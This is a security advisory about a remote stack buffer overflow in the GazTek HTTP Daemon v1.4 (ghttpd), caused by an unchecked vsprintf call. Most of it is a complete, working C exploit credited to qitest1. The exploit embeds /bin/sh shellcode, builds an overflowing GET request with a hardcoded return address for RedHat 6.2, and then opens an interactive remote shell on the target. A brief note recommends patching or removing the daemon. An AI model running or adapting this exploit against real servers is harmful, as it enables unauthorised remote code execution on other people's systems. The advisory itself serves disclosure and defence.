COMMAND
GazTek HTTP Daemon (ghttpd)
SYSTEMS AFFECTED
GazTek HTTP Daemon v1.4 (ghttpd)
PROBLEM
Following is based on a qitest1's security advisory #002. ghttpd
is a small and easy to configure HTTP server with CGI support,
tested on Linux. It can run as a standalone daemon or can be
called by inetd.
A remote attacker can overflow a buffer and execute arbitrary code
on the system with the privileges of the user running ghttpd, that
is nobody, as all the privileges are dropped out. Infact in
util.c at line 219 we have:
va_start(ap, format); // format it all into temp
vsprintf(temp, format, ap);
va_end(ap);
This bug can be succesfully exploited by a remote attacker. There
is a demonstrative exploit code below. See the code for more
info.
/*
* GazTek HTTP Daemon v1.4 (ghttpd) Linux x86 remote exploit
* by qitest1 - 17/06/2001
*
* Root privileges are dropped out by the daemon, so a shell owned by
* nobody will be executed.
*
* 0x69.. =)
*/
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <netinet/in.h>
#include <netdb.h>
#define RETPOS 161
struct targ
{
int def;
char *descr;
unsigned long int retaddr;
};
struct targ target[]=
{
{0, "RedHat 6.2 with GazTek HTTP Daemon v1.4 (ghttpd) from tar.gz", 0xbfffba47},
{69, NULL, 0}
};
/* Just the dear old Aleph1's shellcode. This is the only shellcode
* that seemed to work with this vulnerability. All the other ones
* made the daemon crashing too early and zapping out connection,
* shell and all their friends.
*/
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
char mybuf[RETPOS + 4];
int sockami(char *host, int port);
void do_mybuf(unsigned long retaddr);
void shellami(int sock);
void usage(char *progname);
main(int argc, char **argv)
{
int sel = 0,
offset = 0,
sock,
cnt;
char *host = NULL,
sbuf[1024];
printf("\n GazTek HTTP Daemon v1.4 (ghttpd) exploit by qitest1\n\n");
if(argc == 1)
usage(argv[0]);
while((cnt = getopt(argc,argv,"h:t:o:")) != EOF)
{
switch(cnt)
{
case 'h':
host = strdup(optarg);
break;
case 't':
sel = atoi(optarg);
break;
case 'o':
offset = atoi(optarg);
break;
default:
usage(argv[0]);
break;
}
}
if(host == NULL)
usage(argv[0]);
printf("+Host: %s\n as: %s\n", host, target[sel].descr);
printf("+Connecting to %s...\n", host);
sock = sockami(host, 80);
printf(" connected\n");
target[sel].retaddr += offset;
printf("+Building buffer with retaddr: %p...\n", target[sel].retaddr);
do_mybuf(target[sel].retaddr);
printf(" done\n");
sprintf(sbuf, "GET /%s\n\n", mybuf);
send(sock, sbuf, strlen(sbuf), 0);
printf("+Overflowing...\n");
printf("+Zzing...\n");
sleep(2);
printf("+Getting shell...\n");
shellami(sock);
}
int
sockami(char *host, int port)
{
struct sockaddr_in address;
struct hostent *hp;
int sock;
sock = socket(AF_INET, SOCK_STREAM, 0);
if(sock == -1)
{
perror("socket()");
exit(-1);
}
hp = gethostbyname(host);
if(hp == NULL)
{
perror("gethostbyname()");
exit(-1);
}
memset(&address, 0, sizeof(address));
memcpy((char *) &address.sin_addr, hp->h_addr, hp->h_length);
address.sin_family = AF_INET;
address.sin_port = htons(port);
if(connect(sock, (struct sockaddr *) &address, sizeof(address)) == -1)
{
perror("connect()");
exit(-1);
}
return(sock);
}
void
do_mybuf(unsigned long retaddr)
{
int i,
n = 0;
unsigned long *ret;
memset(mybuf, 0x90, sizeof(mybuf));
for(i = RETPOS - strlen(shellcode); i < RETPOS; i++)
mybuf[i] = shellcode[n++];
ret = (unsigned long *)(mybuf + RETPOS);
*ret = retaddr;
mybuf[RETPOS + 4] = '\x00';
}
void
shellami(int sock)
{
int n;
char recvbuf[1024];
char *cmd = "id; uname -a\n";
fd_set rset;
send(sock, cmd, strlen(cmd), 0);
while (1)
{
FD_ZERO(&rset);
FD_SET(sock,&rset);
FD_SET(STDIN_FILENO,&rset);
select(sock+1,&rset,NULL,NULL,NULL);
if (FD_ISSET(sock,&rset))
{
n=read(sock,recvbuf,1024);
if (n <= 0)
{
printf("Connection closed by foreign host.\n");
exit(0);
}
recvbuf[n]=0;
printf("%s",recvbuf);
}
if (FD_ISSET(STDIN_FILENO,&rset))
{
n=read(STDIN_FILENO,recvbuf,1024);
if (n>0)
{
recvbuf[n]=0;
write(sock,recvbuf,n);
}
}
}
return;
}
void
usage(char *progname)
{
int i = 0;
printf("Usage: %s [options]\n", progname);
printf("Options:\n"
" -h hostname\n"
" -t target\n"
" -o offset\n"
"Available targets:\n");
while(target[i].def != 69)
{
printf(" %d) %s\n", target[i].def, target[i].descr);
i++;
}
exit(1);
}
SOLUTION
The author was contacted but he did not answered. Apply a patch
to the source code of the daemon or remove it from your system.